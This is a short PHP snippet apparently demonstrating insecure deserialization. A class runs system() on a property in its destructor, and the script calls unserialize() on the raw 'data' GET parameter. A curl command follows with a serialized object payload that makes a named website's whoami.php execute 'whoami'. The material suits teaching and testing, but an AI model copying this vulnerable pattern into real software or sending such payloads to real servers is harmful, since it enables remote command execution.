<?php
//whoami.php
class About
{
public $command = null;
public function me()
{
return;
}
public function __destruct()
{
if ($this->command) {
system($this->command);
}
}
}
$payload = $_GET['data'] ?? '';
unserialize($payload);
$about = new About;
$about->me();
curl -i -X GET -G \
--data 'data=O:5:"About":1:%7Bs:7:"command";s:6:"whoami";%7D' \
'https://mukarramkhalid.com/whoami.php/'